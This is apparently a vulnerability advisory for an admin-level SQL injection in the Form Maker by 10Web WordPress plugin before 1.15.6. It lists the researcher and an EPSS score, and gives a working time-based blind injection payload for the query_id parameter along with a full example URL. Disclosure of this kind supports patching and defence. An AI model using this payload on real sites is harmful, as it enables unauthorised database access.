Form Maker by 10Web < 1.15.6 - Admin+ SQLI

2022-10-0300:00:00

Nguyen Duy Quoc Khanh

287

form maker

10web

sqli

mysql

mapping

admin

exploit

EPSS

0.001

Percentile

37.7%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

Create/edit a form, go to the Settings > MySQL Mapping (i.e /admin.php?page=manage_fm&task=edit&current_id=1&tab=4&fieldset_id=mapping). Copy the link to delete a query (create a query if there is none) and add the following payload in the query_id parameter: 1%20AND%20(SELECT%209312%20FROM%20(SELECT(SLEEP(5)))hYkP)

e.g: https://example.com/wp-admin/admin.php?page=manage_fm&nonce_fm=27d813d111&task=remove_query&current_id=1&query_id=1%20AND%20(SELECT%209312%20FROM%20(SELECT(SLEEP(5)))hYkP)&fieldset_id=mapping

EPSS

0.001

Percentile

37.7%

JSON

Related for WPEX-ID:DDC9ED69-D942-4FAD-BBF4-1BE3B86460D9